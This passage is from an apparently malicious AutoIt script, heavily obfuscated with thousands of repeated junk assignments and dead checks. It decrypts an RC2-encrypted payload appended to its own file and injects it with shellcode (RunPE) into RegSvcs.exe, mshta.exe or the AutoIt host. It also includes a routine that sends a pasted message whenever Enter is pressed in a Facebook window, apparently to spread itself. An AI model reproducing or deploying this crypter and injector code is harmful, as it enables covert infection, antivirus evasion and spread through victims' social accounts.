  10590. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10591.     Exit
  10592. Else
  10593. EndIf
  10594. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10595. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10596. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10597.     Exit
  10598. Else
  10599. EndIf
  10600.  
  10601. Func facebook($msg)
  10602.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10603.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10604.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10605.         Exit
  10606.     Else
  10607.     EndIf
  10608.     $dll = DllOpen("user32.dll")
  10609.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10610.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10611.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10612.         Exit
  10613.     Else
  10614.     EndIf
  10615.     Sleep(2)
  10616.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10617.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10618.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10619.         Exit
  10620.     Else
  10621.     EndIf
  10622.     If _ispressed("0D", $dll) AND WinActive("Facebook -") = True Then
  10623.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10624.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10625.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10626.             Exit
  10627.         Else
  10628.         EndIf
  10629.         ClipPut($msg)
  10630.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10631.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10632.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10633.             Exit
  10634.         Else
  10635.         EndIf
  10636.         Send("^v{ENTER}")
  10637.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10638.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10639.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10640.             Exit
  10641.         Else
  10642.         EndIf
  10643.         Sleep(1)
  10644.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10645.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10646.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10647.             Exit
  10648.         Else
  10649.         EndIf
  10650.         ClipPut("")
  10651.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10652.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10653.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10654.             Exit
  10655.         Else
  10656.         EndIf
  10657.         $min = @MIN + 1
  10658.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10659.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10660.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10661.             Exit
  10662.         Else
  10663.         EndIf
  10664.         If $min > 60 Then
  10665.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10666.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10667.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10668.                 Exit
  10669.             Else
  10670.             EndIf
  10671.             $min = $min - 60
  10672.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10673.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10674.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10675.                 Exit
  10676.             Else
  10677.             EndIf
  10678.         EndIf
  10679.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10680.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10681.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10682.             Exit
  10683.         Else
  10684.         EndIf
  10685.     EndIf
  10686.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10687.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10688.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10689.         Exit
  10690.     Else
  10691.     EndIf
  10692.     DllClose($dll)
  10693.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10694.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10695.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10696.         Exit
  10697.     Else
  10698.     EndIf
  10699. EndFunc
  10700.  
  10701. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10702. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10703. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10704.     Exit
  10705. Else
  10706. EndIf
  10707. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10708. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10709. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10710.     Exit
  10711. Else
  10712. EndIf
  10713. $vdll = "user32.dll"
  10714. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10715. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10716. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10717.     Exit
  10718. Else
  10719. EndIf
  10720. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10721. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10722. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10723.     Exit
  10724. Else
  10725. EndIf
  10726.  
  10727. Func _ispressed($shexkey, $vdll)
  10728.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10729.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10730.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10731.         Exit
  10732.     Else
  10733.     EndIf
  10734.     Local $a_r = DllCall($vdll, "short", "GetAsyncKeyState", "int", "0x" & $shexkey)
  10735.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10736.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10737.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10738.         Exit
  10739.     Else
  10740.     EndIf
  10741.     If @error Then Return SetError(@error, @extended, False)
  10742.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10743.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10744.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10745.         Exit
  10746.     Else
  10747.     EndIf
  10748.     Return BitAND($a_r[0], 32768) <> 0
  10749.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10750.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10751.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10752.         Exit
  10753.     Else
  10754.     EndIf
  10755. EndFunc
  10756.  
  10757. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10758. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10759. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10760.     Exit
  10761. Else
  10762. EndIf
  10763. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10764. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10765. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10766.     Exit
  10767. Else
  10768. EndIf
  10769. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10770. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10771. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10772.     Exit
  10773. Else
  10774. EndIf
  10775. submain()
  10776. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10777. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10778. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10779.     Exit
  10780. Else
  10781. EndIf
  10782. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10783. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10784. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10785.     Exit
  10786. Else
  10787. EndIf
  10788. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10789. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10790. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10791.     Exit
  10792. Else
  10793. EndIf
  10794.  
  10795. Func submain()
  10796.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10797.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10798.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10799.         Exit
  10800.     Else
  10801.     EndIf
  10802.     $sapppath = @ScriptFullPath
  10803.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10804.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10805.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10806.         Exit
  10807.     Else
  10808.     EndIf
  10809.     $skey = "\\carbons\\"
  10810.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10811.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10812.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10813.         Exit
  10814.     Else
  10815.     EndIf
  10816.     $appexe = $sapppath
  10817.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10818.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10819.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10820.         Exit
  10821.     Else
  10822.     EndIf
  10823.     $sarquive = FileRead($sapppath)
  10824.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10825.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10826.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10827.         Exit
  10828.     Else
  10829.     EndIf
  10830.     $r_xcrypted = get_binded_settings($sarquive, $skey)
  10831.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10832.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10833.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10834.         Exit
  10835.     Else
  10836.     EndIf
  10837.     $r_xzeros = get_binded_settings($r_xcrypted, "//J_Y//")
  10838.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10839.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10840.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10841.         Exit
  10842.     Else
  10843.     EndIf
  10844.     $encrypted_xfile = StringTrimRight($r_xcrypted, StringLen($r_xzeros) + StringLen("//J_Y//"))
  10845.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10846.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10847.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10848.         Exit
  10849.     Else
  10850.     EndIf
  10851.     $sarquive = _crypt_decryptdata($encrypted_xfile, $c_pass, $calg_rc2)
  10852.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10853.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10854.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10855.         Exit
  10856.     Else
  10857.     EndIf
  10858.     Call(_runpe($sarquive))
  10859.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10860.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10861.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10862.         Exit
  10863.     Else
  10864.     EndIf
  10865. EndFunc
  10866.  
  10867. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10868. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10869. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10870.     Exit
  10871. Else
  10872. EndIf
  10873. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10874. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10875. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10876.     Exit
  10877. Else
  10878. EndIf
  10879.  
  10880. Func slenex($sstr)
  10881.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10882.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10883.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10884.         Exit
  10885.     Else
  10886.     EndIf
  10887.     Local $result, $i, $blen
  10888.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10889.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10890.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10891.         Exit
  10892.     Else
  10893.     EndIf
  10894.     Do
  10895.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10896.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10897.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10898.             Exit
  10899.         Else
  10900.         EndIf
  10901.         $i = $i + 1
  10902.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10903.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10904.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10905.             Exit
  10906.         Else
  10907.         EndIf
  10908.         $blen = StringLeft($sstr, $i)
  10909.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10910.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10911.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10912.             Exit
  10913.         Else
  10914.         EndIf
  10915.         $result = $i
  10916.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10917.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10918.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10919.             Exit
  10920.         Else
  10921.         EndIf
  10922.     Until $sstr = $blen
  10923.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10924.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10925.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10926.         Exit
  10927.     Else
  10928.     EndIf
  10929.     Return $result
  10930.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10931.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10932.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10933.         Exit
  10934.     Else
  10935.     EndIf
  10936. EndFunc
  10937.  
  10938. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10939. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10940. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10941.     Exit
  10942. Else
  10943. EndIf
  10944. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10945. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10946. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10947.     Exit
  10948. Else
  10949. EndIf
  10950. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10951. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10952. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10953.     Exit
  10954. Else
  10955. EndIf
  10956. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10957. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10958. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10959.     Exit
  10960. Else
  10961. EndIf
  10962. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10963. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10964. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10965.     Exit
  10966. Else
  10967. EndIf
  10968. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10969. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10970. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10971.     Exit
  10972. Else
  10973. EndIf
  10974.  
  10975. Func _runpe($binary)
  10976.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10977.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10978.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10979.         Exit
  10980.     Else
  10981.     EndIf
  10982.     If $binary = "" Then Exit
  10983.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10984.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10985.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10986.         Exit
  10987.     Else
  10988.     EndIf
  10989.     $asm = shell()
  10990.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10991.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10992.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10993.         Exit
  10994.     Else
  10995.     EndIf
  10996.     Local $bufferasm = DllStructCreate("byte[" & BinaryLen($asm) & "]")
  10997.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10998.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10999.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11000.         Exit
  11001.     Else
  11002.     EndIf
  11003.     Local $binbuffer = DllStructCreate("byte[" & BinaryLen($binary) & "]")
  11004.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11005.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11006.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11007.         Exit
  11008.     Else
  11009.     EndIf
  11010.     DllStructSetData($bufferasm, 1, $asm)
  11011.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11012.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11013.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11014.         Exit
  11015.     Else
  11016.     EndIf
  11017.     DllStructSetData($binbuffer, 1, $binary)
  11018.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11019.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11020.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11021.         Exit
  11022.     Else
  11023.     EndIf
  11024.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11025.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11026.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11027.         Exit
  11028.     Else
  11029.     EndIf
  11030.     $net2 = "/-net2-/"
  11031.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11032.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11033.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11034.         Exit
  11035.     Else
  11036.     EndIf
  11037.     If StringInStr($path, $net2) Then
  11038.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11039.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11040.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11041.             Exit
  11042.         Else
  11043.         EndIf
  11044.         $injecto = @WindowsDir & "\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  11045.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11046.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11047.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11048.             Exit
  11049.         Else
  11050.         EndIf
  11051.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11052.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11053.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11054.             Exit
  11055.         Else
  11056.         EndIf
  11057.         If FileExists($injecto) Then
  11058.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11059.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11060.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11061.                 Exit
  11062.             Else
  11063.             EndIf
  11064.             Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", $injecto, "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
  11065.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11066.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11067.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11068.                 Exit
  11069.             Else
  11070.             EndIf
  11071.         Else
  11072.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11073.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11074.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11075.                 Exit
  11076.             Else
  11077.             EndIf
  11078.             $injecto2 = @WindowsDir & "\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
  11079.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11080.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11081.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11082.                 Exit
  11083.             Else
  11084.             EndIf
  11085.             Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", $injecto2, "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
  11086.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11087.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11088.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11089.                 Exit
  11090.             Else
  11091.             EndIf
  11092.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11093.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11094.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11095.                 Exit
  11096.             Else
  11097.             EndIf
  11098.         EndIf
  11099.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11100.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11101.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11102.             Exit
  11103.         Else
  11104.         EndIf
  11105.     EndIf
  11106.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11107.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11108.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11109.         Exit
  11110.     Else
  11111.     EndIf
  11112.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11113.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11114.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11115.         Exit
  11116.     Else
  11117.     EndIf
  11118.     If FileExists(@UserProfileDir & "\" & $randoms & "\jects.txt") Then
  11119.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11120.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11121.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11122.             Exit
  11123.         Else
  11124.         EndIf
  11125.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11126.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11127.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11128.             Exit
  11129.         Else
  11130.         EndIf
  11131.         Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", @WindowsDir & "\system32\mshta.exe", "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
  11132.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11133.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11134.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11135.             Exit
  11136.         Else
  11137.         EndIf
  11138.     Else
  11139.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11140.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11141.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11142.             Exit
  11143.         Else
  11144.         EndIf
  11145.     EndIf
  11146.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11147.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11148.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11149.         Exit
  11150.     Else
  11151.     EndIf
  11152.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11153.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11154.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11155.         Exit
  11156.     Else
  11157.     EndIf
  11158.     $net2 = "/-net2-/"
  11159.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11160.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11161.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11162.         Exit
  11163.     Else
  11164.     EndIf
  11165.     If NOT FileExists(@UserProfileDir & "\" & $randoms & "\jects.txt") Then
  11166.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11167.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11168.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11169.             Exit
  11170.         Else
  11171.         EndIf
  11172.         If NOT StringInStr($path, $net2) Then
  11173.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11174.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11175.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11176.                 Exit
  11177.             Else
  11178.             EndIf
  11179.             Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", @AutoItExe, "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
  11180.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11181.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11182.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11183.                 Exit
  11184.             Else
  11185.             EndIf
  11186.         Else
  11187.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11188.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11189.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11190.                 Exit
  11191.             Else
  11192.             EndIf
  11193.         EndIf
  11194.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11195.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11196.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11197.             Exit
  11198.         Else
